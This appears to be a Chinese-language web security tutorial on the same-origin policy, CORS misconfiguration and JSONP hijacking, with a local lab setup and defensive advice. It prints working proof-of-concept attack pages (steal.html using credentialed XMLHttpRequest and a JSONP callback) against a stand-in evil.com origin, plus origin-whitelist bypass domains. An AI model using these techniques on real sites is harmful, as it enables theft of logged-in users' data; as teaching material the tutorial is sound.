同源策略(Same Origin Policy):该策略是浏览器的一个安全基石,如果没有同源策略,那么,你打开了一个合法网站,又打开了一个恶意网站。恶意网站的脚本能够随意的操作合法网站的任何可操作资源,没有任何限制。(防止内部资源被外部页面脚本读取或篡改)
浏览器的同源策略规定: 不同域的客户端脚本在没有明确授权的情况下,不能读写对方的资源。那么何为同源呢,即两个站点需要满足同协议
,同域名
,同端口
这三个条件。
SOP是一个很好的策略,但是随着Web应用的发展,网站由于自身业务的需求,需要实现一些跨域的功能,能够让不同域的页面之间能够相互访问各自页面的内容。
CORS,跨域资源共享(Cross-origin resource sharing),是H5提供的一种机制,WEB应用程序可以通过在HTTP增加字段来告诉浏览器,哪些不同来源的服务器是有权访问本站资源的,当不同域的请求发生时,就出现了跨域的现象。
CORS规范规定了在Web服务器和浏览器之间交换的标头内容,该标头内容限制了源域之外的域请求web资源。CORS规范标识了协议头中Access-Control-Allow-Origin
最重要的一组。当网站请求跨域资源时,服务器将返回此标头,并由浏览器添加标头Origin
。
跨域访问的一些场景:
CORS漏洞主要是由于配置错误而引起的。
例如下面的来自站点http://example.com的网页应用想要访问 http://bar.com 的资源:
Requests
GET /resources/public-data/ HTTP/1.1
Host: bar.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Referer: http://example.com/examples/access-control/simpleXSInvocation.html
Origin: http://example.com
第 1~9 行是请求首部。在第10行的请求头 Origin 表明该请求来源于 http://example.com。
Response
HTTP/1.1 200 OK
Date: Mon, 01 Dec 2020 00:23:53 GMT
Server: Apache/2.0.61
Access-Control-Allow-Origin: *
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/xml
第 1~8 行是来自于 http://bar.com 的服务端响应。响应中携带了响应首部字段 Access-Control-Allow-Origin(第 14 行)。使用 Origin 和 Access-Control-Allow-Origin 就能完成最简单的访问控制。本例中,服务端返回的 Access-Control-Allow-Origin: * 表明,该资源可以被任意外域访问。如果服务端仅允许来自 http://example.com 的访问,该首部字段的内容如下:
Access-Control-Allow-Origin: http://example.com
如果跨域请求可以包含cookie的话,在服务器响应里应该有这一字段:
Access-Control-Allow-Credentials: true
这样的话攻击者就可以利用这个漏洞来窃取已经在这个网站上登录了的用户的信息(利用cookie)
由于是本地复现,先修改hosts文件,加上:
127.0.0.1 www.vuln.com
127.0.0.1 www.evil.com
访问http://www.vuln.com就相当于服务端。服务端新建secrect.php。
<!-- www.vuln.com/secrect.php -->
<?php
// 假设此页面需要登录后才能访问
setcookie("SESSIONid","THISISSESSID20180802",time()+3600,"","",0); // 设置普通Cookie
setcookie("test_http","THISISSESSIDhttponly20180802",time()+3600,"","",0,1);// 设置HttpOnly Cookie
echo "username: admin; password: admin";
?>
如果访问http://www.vuln.com/secrect.php,会正常输出username: admin; password: admin
接着在 hacker 端构造 steal.html:
<!-- www.evil.com/steal.html -->
<!DOCTYPE>
<html>
<h1>Hello I evil page. </h1>
<script type="text/javascript">
function loadXMLDoc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange=function()
{
if(xhr.readyState == 4 && xhr.status == 200) //if receive xhr response
{
var datas=xhr.responseText;
alert(datas);
}
}
//request vuln page
xhr.open("GET","http://www.vuln.com/secrect.php","true")
xhr.withCredentials = true;
xhr.send();
}
loadXMLDoc();
</script>
</html>
注:如果 XMLHttpRequest
请求设置了withCredentials
属性,那么服务器不得设置 Access-Control-Allow-Origin
的值为*
,否则浏览器将会抛出The value of the 'Access-Control-Allow-Origin' header in the response must not be the wildcard '*'
错误。
然后我们打开http://www.evil.com/steal.html,html代码的意思是通过XMLHttpRequest
访问http://www.vuln.com/secrect.php,然后将获取到的内容 alert 出来。
但是根据同源策略,这是不允许的(原因:CORS
头缺少Access-Control-Allow-Origin
):
由于请求是从www.evil.com发出的,通过AJAX请求www.vuln.com的资源,所以,浏览器自动为我们加上了Origin这个字段。
注:同源策略并不限制请求的发起和响应,只是浏览器拒绝了 js 对响应资源的操作。
修改 secrect.php,利用CORS使其跨域访问:
<!-- www.vuln.com/secrect.php -->
<?php
// 假设此页面需要登录后才能访问
setcookie("SESSIONid","THISISSESSID20180802",time()+3600,"","",0); // 设置普通Cookie
setcookie("test_http","THISISSESSIDhttponly20180802",time()+3600,"","",0,1);// 设置HttpOnly Cookie
header("Access-Control-Allow-Origin:http://www.evil.com:81");
header("Access-Control-Allow-Credentials: true");
echo "username: admin; password: admin";
?>
再次访问http://www.evil.com/steal.html,发现可以正常弹窗了,并且获得了cookie,成功实现了跨域资源的请求:
其认证过程大致如下
CORS本质上就是使用各种头信息让浏览器与服务器之间进行交流,上面提到的名单就是用下面的http头字段来控制的:
当进行测试时,看服务器响应头字段里可以关注这几个点:
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin:*
burp 中筛选:
然后访问有认为有漏洞的网站,再在history中筛选带有cors头部的值。
补充:
如果服务器允许跨域,需要在返回的响应头中携带下面信息:
Access-Control-Allow-Origin
:可接受的域,是一个具体域名或者*
,代表任意Access-Control-Allow-Credentials
:是否允许携带cookie,默认情况下,cors不会携带cookie,除非这个值是true如果跨域请求要想操作cookie,需要满足3个条件:
Access-Control-Allow-Credentials
并且为true
。withCredentials
为true
Access-Control-Allow-Origin
一定不能为*
,必须是指定的域名不符合简单请求的条件,会被浏览器判定为特殊请求(如PUT
),特殊请求会在正式通信之前,增加一次HTTP查询请求,称为"预检"请求(preflight):
Origin
以外,多了两个头:Access-Control-Request-Method
:接下来会用到的请求方式,比如PUTAccess-Control-Request-Headers
:会额外用到的头信息Access-Control-Allow-Methods
:允许访问的方式Access-Control-Allow-Headers
:允许携带的头Access-Control-Max-Age
:本次许可的有效时长,单位是秒,过期之前的ajax请求就无需再次进行预检了解析Origin头出错:
一些支持从多个来源进行访问的应用程序通过使用允许的来源白名单来实现。收到CORS请求后,会将提供的来源与白名单进行比较。
但在检测来源是否存在于白名单时经常可能出现问题,一些网站可能会允许其所有的子域(包括尚未存在未来可能存在的子域)来进行访问,或者允许其他网站的域以及其子域来访问请求。这些请求一般都通过通配符或者正则表达式来完成,但是如果这其中出现错误可能就会导致给予其他未被授权的域访问权限。例如:
例如,假设一个应用程序授予对以下列结尾的所有域的访问权限:examplecom
攻击者可能可以通过注册域来获得访问权限:exeexample.com
或者,假设应用程序授予对所有以example.com开头的域访问权限,攻击者就可以使用该域获得访问权限:example.com.evil-user.net
CORS结合XSS:
有时候CORS配置了信任自身的任意子域,那么如果一个子域存在XSS漏洞就可以通过这个漏洞去读取其他子域的资源,类似的场景还有比如HTTPS域信任HTTP域等。
白名单中的null值:
CORS协议复用了Origin头,但在CORS标准中同样缺乏对跨域请求Origin中null明确的定义和限制。有些开发者在网站上配置信任 null,用于与本地file页面共享数据
在这种情况下,攻击者可以使用各种技巧来生成跨域请求,该请求构造的Origin为null值。这将满足白名单的要求,从而导致跨域访问。
这就意味着任何配置有Access-Control-Allow-Origin: null和Access-Control-Allow-Credentials:true的网站等同于没有浏览器SOP的保护,都可以被其他任意域以这种方式读取内容。
自动化扫描:
github上提供了一个关于扫描CORS配置漏洞的脚本:https://github.com/chenjj/CORScanner
将检测的域名写在一个 txt 里,然后使用 -i 参数去进行批量扫描。
正确配置跨域请求
如果Web资源包含敏感信息,则应在Access-Control-Allow-Origin标头中正确指定来源。
只允许信任的网站
看起来似乎很明显,但是Access-Control-Allow-Origin中指定的来源只能是受信任的站点。特别是,使用通配符来表示允许的跨域请求的来源而不进行验证很容易被利用,应该避免。
严格校验Origin头,避免出现权限泄露
HTTPS网站不要信任HTTP域
JSONP全称是JSON with Padding ,是基于JSON格式的为解决跨域请求资源而产生的解决方案。他实现的基本原理是利用了 HTML 里 元素标签没有跨域限制。
JSONP原理就是动态插入带有跨域url的script标签,然后调用回调函数,把我们需要的json数据作为参数传入,通过一些逻辑把数据显示在页面上。
比如通过 script 访问 http://www.vuln.com/attack.html?jsonpcallback=callback, 执行完script后,会调用callback函数,参数就是获取到的数据。
访问http://www.vuln.com就相当于服务端。服务端新建 callback.php。
<!-- www.vuln.com/callback.php -->
<?php
header('Content-type: application/json');
$callback = $_GET["callback"];
//json数据
$json_data = '{"username":"admin","password":"admin888"}';
//输出jsonp格式的数据
echo $callback . "(" . $json_data . ")";
?>
本地正常访问:
接着在 hacker 端构造 steal.html:
<html>
<head>
<title>testtitle>
<meta charset="utf-8">
<script type="text/javascript">
function JSONP(obj){
alert('user: '+obj["username"]+' pwd: '+obj["password"]);
}
script>
head>
<body>
<script type="text/javascript" src="http://www.vuln.com/callback.php?callback=JSONP">script>
body>
html>
我们访问steal.html,页面会执行 script,请求 http://www.vuln.com/callback.php?callback=JSONP,然后将请求的内容作为参数,执行JSONP函数,JSONP函数将请求的内容alert出来。最终的结果如下
这样我们就实现了通过js操作跨域请求到的资源,绕过了同源策略。
但是伴随着业务的发展总会出现安全问题,JSONP使用不当也会造成很多安全问题。
对于JSONP传输数据,正常的业务是用户在B域名下请求A域名下的数据,然后进行进一步操作。
但是对 A 域名的请求一般都需要身份验证,攻击者可以自己构造一个页面,然后诱惑用户去点击,在这个页面里,我们去请求 A 域名资源,然后回调函数将请求到的资源发回到 hacker 服务器上。
有点类似于CSRF漏洞(图来自https://www.k0rz3n.com/2019/03/07/JSONP):
攻击者可以构造一个html,诱骗用户点击,然后以用户身份访问目标网站拿到敏感数据,执行函数将数据发送给攻击者的服务器,最后重定向。整个过程受害者是完全不可见的。
JSONP 劫持漏洞的危害: JSONP是一种敏感信息泄露的漏洞,攻击者可以精心设计一个网站诱骗用户点击,如果受害者点击了链接,则攻击者便可以获取受害者的个人的信息,如邮箱、姓名、手机等信息,这些信息可以被违法犯罪分子用作“精准诈骗”。
JSONP绕过CSRF防护token:https://xz.aliyun.com/t/5143
对于漏洞挖掘,我们首先需要尽可能的找到所有的接口,尤其是返回数据格式是JSONP的接口。(可以在数据包中检索关键词callback json jsonp email等,也可以加上callback参数,观察返回值是否变化)。
找到接口之后,还需要返回值包含敏感信息,并且能被不同的域的页面去请求获取(也就是是否存在refer限制,实际上,如果接口存在refer的限制,也是有可能被绕过的)
常见绕过方法:空referer、referer过滤不严谨
防御:
?callback=
形式的xss;JSONP的原理:动态创建script标签
CORS:跨域资源共享.本质,就是使用 XHR 对象,发送Ajax请求,来进行跨域的资源共享
优缺点:
应用场景:
参考链接:
https://blog.csdn.net/weixin_45116657/article/details/102972034(CORS跨域漏洞的学习)
https://zhuanlan.zhihu.com/p/83099266(CORS介绍及其漏洞检测)
https://www.cnblogs.com/Xy–1/p/13069099.html(CORS跨域漏洞学习)
https://www.jianshu.com/p/98d4bc7565b2(使用CORS解决跨域问题)
https://saucer-man.com/information_security/309.html(jsonp介绍及其安全风险)
https://blog.csdn.net/qq646040754/article/details/80510913(JSONP与CORS的各自优缺点)